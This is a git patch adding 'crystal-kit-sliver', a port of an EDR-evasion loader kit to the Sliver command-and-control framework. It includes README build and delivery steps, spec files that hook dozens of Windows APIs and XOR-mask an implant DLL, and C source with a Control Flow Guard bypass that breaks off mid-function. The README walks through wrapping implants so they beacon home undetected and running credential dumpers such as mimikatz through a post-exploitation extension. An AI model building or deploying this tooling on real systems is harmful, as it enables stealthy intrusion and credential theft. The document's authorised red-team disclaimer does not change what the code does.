From 1ea15255e6293c023f4bfdd30b07d33bbef6127c Mon Sep 17 00:00:00 2001 From: licitrasimone Date: Thu, 14 May 2026 08:50:51 +0200 Subject: [PATCH] feat: rystal Palace evasion kit ported to Sliver C2 --- .gitignore | 33 ++ LICENSE | 21 + NOTICE.md | 110 +++++ README.md | 180 ++++++- crystal-kit-sliver/README.md | 35 ++ crystal-kit-sliver/loader/Makefile | 22 + crystal-kit-sliver/loader/loader.spec | 46 ++ crystal-kit-sliver/loader/local-loader.spec | 50 ++ crystal-kit-sliver/loader/pico.spec | 77 +++ crystal-kit-sliver/loader/src/cfg.c | 113 +++++ crystal-kit-sliver/loader/src/cfg.h | 2 + crystal-kit-sliver/loader/src/cleanup.c | 97 ++++ crystal-kit-sliver/loader/src/cleanup.h | 1 + crystal-kit-sliver/loader/src/draugr.asm | 147 ++++++ crystal-kit-sliver/loader/src/hooks.c | 464 ++++++++++++++++++ crystal-kit-sliver/loader/src/loader.c | 140 ++++++ crystal-kit-sliver/loader/src/loader.h | 6 + crystal-kit-sliver/loader/src/mask.c | 80 +++ crystal-kit-sliver/loader/src/mask.h | 1 + crystal-kit-sliver/loader/src/memory.h | 37 ++ crystal-kit-sliver/loader/src/pico.c | 198 ++++++++ crystal-kit-sliver/loader/src/services.c | 26 + crystal-kit-sliver/loader/src/spoof.c | 378 ++++++++++++++ crystal-kit-sliver/loader/src/spoof.h | 10 + crystal-kit-sliver/loader/src/tcg.h | 102 ++++ crystal-kit-sliver/postex-loader/Makefile | 21 + crystal-kit-sliver/postex-loader/loader.spec | 50 ++ crystal-kit-sliver/postex-loader/pico.spec | 36 ++ crystal-kit-sliver/postex-loader/src/cfg.c | 114 +++++ crystal-kit-sliver/postex-loader/src/cfg.h | 2 + .../postex-loader/src/cleanup.c | 97 ++++ .../postex-loader/src/cleanup.h | 1 + .../postex-loader/src/draugr.asm | 147 ++++++ crystal-kit-sliver/postex-loader/src/hash.h | 1 + crystal-kit-sliver/postex-loader/src/hooks.c | 210 ++++++++ crystal-kit-sliver/postex-loader/src/loader.c | 144 ++++++ crystal-kit-sliver/postex-loader/src/loader.h | 6 + crystal-kit-sliver/postex-loader/src/memory.h | 37 ++ crystal-kit-sliver/postex-loader/src/pico.c | 65 +++ .../postex-loader/src/services.c | 12 + crystal-kit-sliver/postex-loader/src/spoof.c | 374 ++++++++++++++ crystal-kit-sliver/postex-loader/src/spoof.h | 9 + crystal-kit-sliver/postex-loader/src/tcg.h | 102 ++++ crystal-kit-sliver/sliver-glue/Makefile | 34 ++ .../sliver-glue/bundle-implant.sh | 62 +++ crystal-kit-sliver/sliver-glue/extension.json | 25 + .../sliver-glue/generate-implant.sh | 100 ++++ crystal-kit-sliver/sliver-glue/generate.sh | 73 +++ .../sliver-glue/pack-extension.sh | 41 ++ .../sliver-glue/wrapper/Makefile | 23 + .../sliver-glue/wrapper/beacon.h | 61 +++ .../wrapper/beacon_compatibility.c | 402 +++++++++++++++ .../wrapper/beacon_compatibility.h | 66 +++ .../sliver-glue/wrapper/crystal-loader.c | 103 ++++ .../sliver-glue/wrapper/smoketest.asm | 18 + docs/PORTING_MAP.md | 199 ++++++++ docs/RUNBOOK.md | 355 ++++++++++++++ docs/TOOLCHAIN.md | 167 +++++++ 58 files changed, 5532 insertions(+), 1 deletion(-) create mode 100644 .gitignore create mode 100644 LICENSE create mode 100644 NOTICE.md create mode 100644 crystal-kit-sliver/README.md create mode 100644 crystal-kit-sliver/loader/Makefile create mode 100644 crystal-kit-sliver/loader/loader.spec create mode 100644 crystal-kit-sliver/loader/local-loader.spec create mode 100644 crystal-kit-sliver/loader/pico.spec create mode 100644 crystal-kit-sliver/loader/src/cfg.c create mode 100644 crystal-kit-sliver/loader/src/cfg.h create mode 100644 crystal-kit-sliver/loader/src/cleanup.c create mode 100644 crystal-kit-sliver/loader/src/cleanup.h create mode 100644 crystal-kit-sliver/loader/src/draugr.asm create mode 100644 crystal-kit-sliver/loader/src/hooks.c create mode 100644 crystal-kit-sliver/loader/src/loader.c create mode 100644 crystal-kit-sliver/loader/src/loader.h create mode 100644 crystal-kit-sliver/loader/src/mask.c create mode 100644 crystal-kit-sliver/loader/src/mask.h create mode 100644 crystal-kit-sliver/loader/src/memory.h create mode 100644 crystal-kit-sliver/loader/src/pico.c create mode 100644 crystal-kit-sliver/loader/src/services.c create mode 100644 crystal-kit-sliver/loader/src/spoof.c create mode 100644 crystal-kit-sliver/loader/src/spoof.h create mode 100644 crystal-kit-sliver/loader/src/tcg.h create mode 100644 crystal-kit-sliver/postex-loader/Makefile create mode 100644 crystal-kit-sliver/postex-loader/loader.spec create mode 100644 crystal-kit-sliver/postex-loader/pico.spec create mode 100644 crystal-kit-sliver/postex-loader/src/cfg.c create mode 100644 crystal-kit-sliver/postex-loader/src/cfg.h create mode 100644 crystal-kit-sliver/postex-loader/src/cleanup.c create mode 100644 crystal-kit-sliver/postex-loader/src/cleanup.h create mode 100644 crystal-kit-sliver/postex-loader/src/draugr.asm create mode 100644 crystal-kit-sliver/postex-loader/src/hash.h create mode 100644 crystal-kit-sliver/postex-loader/src/hooks.c create mode 100644 crystal-kit-sliver/postex-loader/src/loader.c create mode 100644 crystal-kit-sliver/postex-loader/src/loader.h create mode 100644 crystal-kit-sliver/postex-loader/src/memory.h create mode 100644 crystal-kit-sliver/postex-loader/src/pico.c create mode 100644 crystal-kit-sliver/postex-loader/src/services.c create mode 100644 crystal-kit-sliver/postex-loader/src/spoof.c create mode 100644 crystal-kit-sliver/postex-loader/src/spoof.h create mode 100644 crystal-kit-sliver/postex-loader/src/tcg.h create mode 100644 crystal-kit-sliver/sliver-glue/Makefile create mode 100755 crystal-kit-sliver/sliver-glue/bundle-implant.sh create mode 100644 crystal-kit-sliver/sliver-glue/extension.json create mode 100755 crystal-kit-sliver/sliver-glue/generate-implant.sh create mode 100755 crystal-kit-sliver/sliver-glue/generate.sh create mode 100755 crystal-kit-sliver/sliver-glue/pack-extension.sh create mode 100644 crystal-kit-sliver/sliver-glue/wrapper/Makefile create mode 100644 crystal-kit-sliver/sliver-glue/wrapper/beacon.h create mode 100644 crystal-kit-sliver/sliver-glue/wrapper/beacon_compatibility.c create mode 100644 crystal-kit-sliver/sliver-glue/wrapper/beacon_compatibility.h create mode 100644 crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c create mode 100644 crystal-kit-sliver/sliver-glue/wrapper/smoketest.asm create mode 100644 docs/PORTING_MAP.md create mode 100644 docs/RUNBOOK.md create mode 100644 docs/TOOLCHAIN.md diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d64063d --- /dev/null +++ b/.gitignore @@ -0,0 +1,33 @@ +# Reference clones (upstream repos pulled locally for analysis only) +references/ + +# External downloaded tooling (Crystal Palace dist, etc.) — not redistributable +external/ + +# Sliver operator configs (contain credentials) +*.cfg + +# Build artifacts +*.o +*.obj +*.bin +*.dll +*.exe +bin/ +build/ + +# Archives / dist downloads +*.tgz +*.tar.gz +*.zip + +# Crystal Palace prerequisite (proprietary tooling, do NOT commit) +*.jar +libtcg.x64.zip + +# OS / editor +.DS_Store +.vscode/ +.idea/ +*.swp +*~ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..2a16494 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Simone Licitra + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/NOTICE.md b/NOTICE.md new file mode 100644 index 0000000..0717347 --- /dev/null +++ b/NOTICE.md @@ -0,0 +1,110 @@ +# NOTICE + +This project (`crystal-kit-sliver`) is a port to Sliver C2 of upstream +evasion tooling. It includes and/or derives from third-party software +distributed under the MIT License. All required copyright notices are +reproduced below. + +--- + +## crystal-kit-sliver + +Copyright (c) 2026 Simone Licitra +Licensed under the MIT License (see [LICENSE](LICENSE)). + +This work adapts the `postex-loader` of the upstream Crystal-Kit project, +applies the cross-C2 porting pattern introduced by Crystal-Kit-Xenon, and +adds Sliver-specific build glue, manifest, and packaging. + +--- + +## Upstream — Crystal-Kit + +Source: +License: MIT +Copyright (c) rasta-mouse + +The contents of `crystal-kit-sliver/loader/` and +`crystal-kit-sliver/postex-loader/` are direct copies (with the Xenon +adjustments noted below) of the corresponding directories in this +upstream repository. All original copyright notices in source files are +preserved. + +--- + +## Upstream — COFFLoader (BOF compatibility layer) + +Source: (originally TrustedSec) +License: BSD-3-Clause +Copyright (c) 2020 TrustedSec, LLC + +The files `crystal-kit-sliver/sliver-glue/wrapper/beacon.h`, +`beacon_compatibility.h` and `beacon_compatibility.c` are unmodified +copies of COFFLoader's Cobalt Strike BOF compatibility layer. They +provide `BeaconDataParse`/`BeaconDataExtract`/`BeaconPrintf` used by +our Sliver Extension wrapper to decode arguments passed by the implant. +All original copyright notices in those source files are preserved. + +--- + +## Upstream — Crystal-Kit-Xenon + +Source: +License: MIT +Copyright (c) nickswink + +The Mythic Xenon porting fork introduced two targeted modifications in +`postex-loader/`: + +1. `postex-loader/loader.spec`: switched DFR resolution mode from + `"strings"` to `"ror13"`; removed Cobalt Strike smart-pointer patches + (`$GMH`, `$GPA`); added a `dll_args` section linked from `%ARGFILE`. + +2. `postex-loader/src/loader.c`: added the `_DLLARGS_` section attribute + and the `dll_arguments` variable read via `GETRESOURCE`; routed those + arguments into the `DLL_PROCESS_ATTACH` entrypoint call; commented out + the Cobalt-Strike-specific second `entry_point` call with reason + `0x4`. + +These same changes apply unchanged to the Sliver port and are reused as-is. + +--- + +## External runtime dependencies (NOT bundled in this repository) + +The following components are required for a successful build but are +NOT included in this source tree: + +### Crystal Palace linker (`crystalpalace.jar`) + +Source: (`download/cpdist-latest.tgz`) +License: BSD-3-Clause +Copyright (c) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild + +Crystal Palace also bundles: + - iced disassembler — Copyright (c) iced project and contributors, MIT + - JSON in Java (org.json) — Public Domain (CC0 1.0) + +This jar must be downloaded separately. It is invoked at build time via +the bundled `./link` wrapper (or directly with `java -jar crystalpalace.jar run ...`). +The `generate.sh` script uses the verified positional CLI: + `./link [%KEY=value ...]` + +### `libtcg.x64.zip` + +Source: distributed alongside the upstream Crystal-Kit repository. +License: see upstream notice. + +This library appears to be derived from QEMU's Tiny Code Generator (TCG) +and may carry LGPL/GPL obligations. Users redistributing builds that +include `libtcg.x64.zip` should verify license compliance with their own +counsel. + +--- + +## Third-party C2 framework + +Sliver C2 — — is licensed under +GPLv3. This project produces a Sliver Extension that is loaded into the +Sliver implant at runtime; the present source code is not a derivative +work of Sliver itself. diff --git a/README.md b/README.md index f6c3a6a..2cef0e3 100644 --- a/README.md +++ b/README.md @@ -1 +1,179 @@ -# CrystalSliver +# crystal-kit-sliver + +Crystal Palace evasion kit ported to [Sliver C2](https://sliver.sh). + +This is the first public port of rasta-mouse's [Crystal-Kit](https://github.com/rasta-mouse/Crystal-Kit) (Cobalt Strike) to Sliver. It follows the same cross-C2 pattern proven by [Crystal-Kit-Xenon](https://github.com/nickswink/Crystal-Kit-Xenon) (Mythic). + +- **License:** MIT — Copyright (c) 2026 Simone Licitra +- **Target:** Windows x64 only (upstream constraint) +- **Status:** build pipeline verified end-to-end on macOS / Linux. Windows runtime test pending. + +--- + +## What it does + +Replaces Sliver's default reflective loader and post-ex execution path with [Crystal Palace](https://tradecraftgarden.org/) (Raphael Mudge, BSD). The result is a position-independent code (PICO) blob that bundles: + +- ror13 hash-based API resolution (no plain `LoadLibrary` / `GetProcAddress`) +- IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA` +- Draugr call stack spoofing during callbacks +- XOR sleep mask over the embedded DLL +- libtcg-based runtime obfuscation + +The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and only unmasked in memory at execution time. + +--- + +## Two use cases + +### A — Implant evasion (PRIMARY) + +The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO and delivered together with a stager (`run.x64.exe` from the Crystal Palace demo, BSD). + +``` +sliver-server generate --format shared → impl.dll + │ + ▼ +generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO) + │ + ▼ +bundle-implant.sh → drop.zip (PICO + stager + README) + │ + ▼ deliver to target + ▼ +Windows VM: run.x64.exe sliver.crystal.bin + │ + ▼ Crystal Palace loader runs + ▼ unmask DLL → DllMain → HTTP beacon home +``` + +### B — Post-ex evasion (SECONDARY) + +Once a session is active, run sensitive DLLs (recon, credential dumpers, etc.) through Crystal Palace via a Sliver Extension. + +``` +sliver > extensions install crystal-loader-0.1.0.tar.gz +sliver > crystal payload=mimikatz.pico.bin +``` + +The `crystal-loader.x64.dll` is a Sliver DLL Extension that allocates RWX memory, loads the PICO blob, and jumps to the Crystal Palace entrypoint. + +--- + +## Repo layout + +``` +crystal-kit-sliver/ +├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit +├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch +├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience) +└── sliver-glue/ ← Sliver-specific build glue + ├── extension.json Sliver Extension manifest + ├── generate.sh Wrap a post-ex DLL → PICO (Use case B) + ├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A) + ├── bundle-implant.sh Bundle PICO + stager into drop.zip + ├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball + ├── Makefile make objects / package / clean + └── wrapper/ crystal-loader.c (BOF-compat DLL wrapper) + +docs/ +├── RUNBOOK.md Step-by-step Kali → Windows lab procedure +├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs +└── TOOLCHAIN.md Build prerequisites and pipeline details +``` + +--- + +## Quick build (Kali / Debian / Ubuntu) + +```bash +# 1. Toolchain +sudo apt install -y mingw-w64 nasm default-jdk make zip git curl + +# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge) +mkdir -p external/crystalpalace +curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \ + | tar -xz -C external/crystalpalace/ +export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist + +# 3. Build everything +make -C crystal-kit-sliver/loader all +make -C crystal-kit-sliver/postex-loader all +make -C crystal-kit-sliver/sliver-glue/wrapper all +make -C crystal-kit-sliver/sliver-glue/wrapper smoketest + +# 4. Use case A — wrap a Sliver implant +./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \ + crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin +./crystal-kit-sliver/sliver-glue/bundle-implant.sh \ + crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \ + crystal-kit-sliver/sliver-glue/build/drop.zip + +# 5. Use case B — wrap a post-ex DLL +./crystal-kit-sliver/sliver-glue/generate.sh /path/to/postex.dll /dev/null \ + crystal-kit-sliver/sliver-glue/build/postex.pico.bin +./crystal-kit-sliver/sliver-glue/pack-extension.sh +``` + +See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener setup, target execution, troubleshooting). + +--- + +## What is verified + +| Item | Status | Evidence | +|---|---|---| +| All Crystal-Kit sources compile under MinGW 15.2 + NASM 3.01 | OK | `make all` clean, 8 `.o` + 1 `.bin` per loader | +| Xenon post-ex patches present | OK | `dfr "ror13"`, `_DLLARGS_` section, `dll_arguments` param in `DLL_PROCESS_ATTACH` | +| Crystal Palace CLI verified | OK | `./link [%KEY=value]` — positional, documented in `dist/README` | +| End-to-end PICO build (Use case A) | OK | 117 KB PICO produced from test DLL | +| End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` | +| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol | +| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` | +| Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README | +| Runtime execution on Windows | PENDING | Not yet tested — see RUNBOOK Phase 1 | + +--- + +## Dependencies + +| Dependency | License | How to obtain | Bundled? | +|---|---|---|---| +| Crystal Palace (`crystalpalace.jar`, `link`, etc.) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | `curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz` | No (`.gitignore` excludes `external/`) | +| `libtcg.x64.zip` | Upstream binary, license unstated (likely QEMU TCG-derived) | Copied from upstream Crystal-Kit repo | Yes, kept in tree for build convenience | +| Sliver C2 | GPLv3 | | No — runtime dependency only | +| MinGW-w64 + NASM | GPL-compatible | `apt install` or `brew install` | No | + +This repository does NOT redistribute `crystalpalace.jar`. The build pipeline fetches it externally and references it via the `CRYSTAL_PALACE_HOME` environment variable. + +--- + +## Attribution + +See [`NOTICE.md`](NOTICE.md) for the full list of upstream copyrights and licenses. Brief summary: + +- **rasta-mouse** — Crystal-Kit (MIT) — base reflective loader, postex loader, spec files +- **nickswink** — Crystal-Kit-Xenon (MIT) — cross-C2 patch template (smart pointers removal + `dll_args` section) +- **Raphael Mudge / AFF-WG** — Crystal Palace (BSD-3-Clause) — linker and PIC tooling +- **TrustedSec** — COFFLoader (BSD-3-Clause) — BOF compatibility layer (`beacon.h`, `beacon_compatibility.c/h`) +- **BishopFox** — Sliver C2 (GPLv3) — target framework + +--- + +## Roadmap + +- [x] 1 — Audit upstream repos + extract diff between Crystal-Kit and Crystal-Kit-Xenon +- [x] 2 — Toolchain documentation + repository scaffold +- [x] 3 — File-by-file porting map with literal diffs (`docs/PORTING_MAP.md`) +- [x] 4 — Sources copied + Xenon patches applied + LICENSE + NOTICE +- [x] 5 — `sliver-glue/` glue scripts and Extension manifest +- [x] 6a — DLL wrapper written, built (MinGW 15.2), packaged, smoke test shellcode +- [x] 6b — Crystal Palace CLI verified, real PICO built end-to-end +- [x] 6c — Dual use case A/B: `generate-implant.sh` + `bundle-implant.sh` +- [ ] 6d — Runtime test on Windows x64 lab (smoketest + real PICO, both flows) + +--- + +## Disclaimer + +Offensive security tooling intended for authorized red team engagements, lab research, and education. Use only in environments where you have written authorization. The author assumes no responsibility for misuse. diff --git a/crystal-kit-sliver/README.md b/crystal-kit-sliver/README.md new file mode 100644 index 0000000..e94c89a --- /dev/null +++ b/crystal-kit-sliver/README.md @@ -0,0 +1,35 @@ +# crystal-kit-sliver/ + +Source tree for the Crystal Palace ↔ Sliver port. See the [project root README](../README.md) for the overview, build instructions, and operational flow. + +## Layout + +| Directory | Contents | +|---|---| +| `loader/` | Reflective loader sources (Use case A, implant evasion). Verbatim copy of `loader/` from upstream Crystal-Kit. | +| `postex-loader/` | Post-ex loader sources (Use case B). Crystal-Kit upstream + Xenon patch (DFR → `ror13`, removed `$GMH`/`$GPA` CS smart pointers, added `dll_args` section). | +| `sliver-glue/` | Sliver-specific build glue and Extension wrapper. | +| `libtcg.x64.zip` | Upstream binary dependency. Kept in-tree so `loader.spec`'s `mergelib "../libtcg.x64.zip"` resolves without extra setup. | + +## Build entry points + +- `make -C loader all` — produce 8 `.o` files + 1 `.bin` under `loader/bin/` +- `make -C postex-loader all` — same for postex +- `make -C sliver-glue/wrapper all` — produce `sliver-glue/crystal-loader.x64.dll` (Sliver Extension) +- `sliver-glue/generate.sh` — Use case B build wrapper +- `sliver-glue/generate-implant.sh` — Use case A build wrapper +- `sliver-glue/bundle-implant.sh` — Use case A drop packager +- `sliver-glue/pack-extension.sh` — Use case B tarball packager + +## Required environment + +```bash +export CRYSTAL_PALACE_HOME=/path/to/external/crystalpalace/dist +# Optional, only for generate-implant.sh --profile mode: +export SLIVER_SERVER=/path/to/sliver-server +``` + +## Detailed documentation + +- License: [`../LICENSE`](../LICENSE) — MIT, © 2026 Simone Licitra +- Upstream attributions: [`../NOTICE.md`](../NOTICE.md) diff --git a/crystal-kit-sliver/loader/Makefile b/crystal-kit-sliver/loader/Makefile new file mode 100644 index 0000000..47282aa --- /dev/null +++ b/crystal-kit-sliver/loader/Makefile @@ -0,0 +1,22 @@ +CC_64=x86_64-w64-mingw32-gcc +NASM=nasm + +all: bin/loader.x64.o + +bin: + mkdir bin + +bin/loader.x64.o: bin + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o + + $(NASM) src/draugr.asm -o bin/draugr.x64.bin + +clean: + rm -f bin/* diff --git a/crystal-kit-sliver/loader/loader.spec b/crystal-kit-sliver/loader/loader.spec new file mode 100644 index 0000000..5da663f --- /dev/null +++ b/crystal-kit-sliver/loader/loader.spec @@ -0,0 +1,46 @@ +x64: + load "bin/loader.x64.o" + make pic +gofirst +optimize +disco + + # merge services + load "bin/services.x64.o" + merge + + dfr "resolve" "ror13" + mergelib "../libtcg.x64.zip" + + # merge hooks into the loader + load "bin/hooks.x64.o" + merge + + # merge call stack spoofing into the loader + load "bin/spoof.x64.o" + merge + + # load the stack spoofing assembly + load "bin/draugr.x64.bin" + linkfunc "draugr_stub" + + # hook functions that the loader uses + attach "KERNEL32$LoadLibraryA" "_LoadLibraryA" + attach "KERNEL32$VirtualAlloc" "_VirtualAlloc" + attach "KERNEL32$VirtualProtect" "_VirtualProtect" + attach "KERNEL32$VirtualFree" "_VirtualFree" + + # mask & link the dll + generate $MASK 128 + + push $DLL + xor $MASK + preplen + link "dll" + + push $MASK + preplen + link "mask" + + # now get the tradecraft as a PICO + run "pico.spec" + link "pico" + + export \ No newline at end of file diff --git a/crystal-kit-sliver/loader/local-loader.spec b/crystal-kit-sliver/loader/local-loader.spec new file mode 100644 index 0000000..54610f9 --- /dev/null +++ b/crystal-kit-sliver/loader/local-loader.spec @@ -0,0 +1,50 @@ +x64: + load "bin/loader.x64.o" + make pic +gofirst +optimize +disco + + # merge services + load "bin/services.x64.o" + merge + + dfr "patch_resolve" "strings" + mergelib "../libtcg.x64.zip" + + # patch smart pointers in + patch "get_module_handle" $GMH + patch "get_proc_address" $GPA + + # merge hooks into the loader + load "bin/hooks.x64.o" + merge + + # merge call stack spoofing into the loader + load "bin/spoof.x64.o" + merge + + # load the stack spoofing assembly + load "bin/draugr.x64.bin" + linkfunc "draugr_stub" + + # hook functions that the loader uses + attach "KERNEL32$LoadLibraryA" "_LoadLibraryA" + attach "KERNEL32$VirtualAlloc" "_VirtualAlloc" + attach "KERNEL32$VirtualProtect" "_VirtualProtect" + attach "KERNEL32$VirtualFree" "_VirtualFree" + + # mask & link the dll + generate $MASK 128 + + push $DLL + xor $MASK + preplen + link "dll" + + push $MASK + preplen + link "mask" + + # now get the tradecraft as a PICO + run "pico.spec" + link "pico" + + export \ No newline at end of file diff --git a/crystal-kit-sliver/loader/pico.spec b/crystal-kit-sliver/loader/pico.spec new file mode 100644 index 0000000..20858e0 --- /dev/null +++ b/crystal-kit-sliver/loader/pico.spec @@ -0,0 +1,77 @@ +x64: + load "bin/pico.x64.o" + make object +disco + + # merge the hook functions + load "bin/hooks.x64.o" + merge + + # merge the call stack spoofing + load "bin/spoof.x64.o" + merge + + # merge the asm stub + load "bin/draugr.x64.bin" + linkfunc "draugr_stub" + + # merge mask + load "bin/mask.x64.o" + merge + + # generate and patch in a random key + generate $KEY 128 + patch "xorkey" $KEY + + # merge cfg code + load "bin/cfg.x64.o" + merge + + # merge cleanup + load "bin/cleanup.x64.o" + merge + + # export setup_hooks and setup_memory + exportfunc "setup_hooks" "__tag_setup_hooks" + exportfunc "setup_memory" "__tag_setup_memory" + + # hook functions in the DLL + addhook "WININET$HttpSendRequestA" "_HttpSendRequestA" + addhook "WININET$InternetOpenA" "_InternetOpenA" + addhook "WININET$InternetConnectA" "_InternetConnectA" + addhook "WS2_32$WSAStartup" "_WSAStartup" + addhook "WS2_32$WSASocketA" "_WSASocketA" + addhook "KERNEL32$CloseHandle" "_CloseHandle" + addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA" + addhook "KERNEL32$CreateProcessA" "_CreateProcessA" + addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread" + addhook "KERNEL32$CreateThread" "_CreateThread" + addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle" + addhook "KERNEL32$ExitThread" "_ExitThread" + addhook "KERNEL32$GetThreadContext" "_GetThreadContext" + addhook "KERNEL32$HeapAlloc" "_HeapAlloc" + addhook "KERNEL32$HeapReAlloc" "_HeapReAlloc" + addhook "KERNEL32$HeapFree" "_HeapFree" + addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA" + addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile" + addhook "KERNEL32$OpenProcess" "_OpenProcess" + addhook "KERNEL32$OpenThread" "_OpenThread" + addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory" + addhook "KERNEL32$ResumeThread" "_ResumeThread" + addhook "KERNEL32$SetThreadContext" "_SetThreadContext" + addhook "KERNEL32$Sleep" "_Sleep" + addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile" + addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc" + addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx" + addhook "KERNEL32$VirtualFree" "_VirtualFree" + addhook "KERNEL32$VirtualProtect" "_VirtualProtect" + addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx" + addhook "KERNEL32$VirtualQuery" "_VirtualQuery" + addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory" + addhook "OLE32$CoCreateInstance" "_CoCreateInstance" + + # hook functions in pico + attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c + + mergelib "../libtcg.x64.zip" + + export diff --git a/crystal-kit-sliver/loader/src/cfg.c b/crystal-kit-sliver/loader/src/cfg.c new file mode 100644 index 0000000..b8d5d46 --- /dev/null +++ b/crystal-kit-sliver/loader/src/cfg.c @@ -0,0 +1,113 @@ +#include + +#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) +#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) + +typedef struct { + ULONG ExtendedProcessInfo; + ULONG ExtendedProcessInfoBuffer; +} EXTENDED_PROCESS_INFORMATION; + +typedef enum { + ProcessUserModeIOPL = 16, + ProcessCookie = 36 +} PROCESSINFOCLASS; + +typedef struct { + DWORD dwNumberOfOffsets; + PULONG plOutput; + PCFG_CALL_TARGET_INFO ptOffsets; + PVOID pMustBeZero; + PVOID pMoarZero; +} VM_INFORMATION; + +typedef enum { + VmPrefetchInformation, + VmPagePriorityInformation, + VmCfgCallTargetInformation +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct { + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY; + +typedef enum { + MemoryBasicInformation +} MEMORY_INFORMATION_CLASS; + +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); + +BOOL cfg_enabled ( ) +{ + EXTENDED_PROCESS_INFORMATION proc_info = { 0 }; + + NTSTATUS status = 0; + + proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; + proc_info.ExtendedProcessInfoBuffer = 0; + + status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL ); + + if ( ! NT_SUCCESS ( status ) ) { + return FALSE; + } + + return proc_info.ExtendedProcessInfoBuffer; +} + +BOOL bypass_cfg ( PVOID address ) +{ + MEMORY_BASIC_INFORMATION mbi = { 0 }; + VM_INFORMATION vmi = { 0 }; + MEMORY_RANGE_ENTRY mre = { 0 }; + CFG_CALL_TARGET_INFO cti = { 0 }; + + NTSTATUS 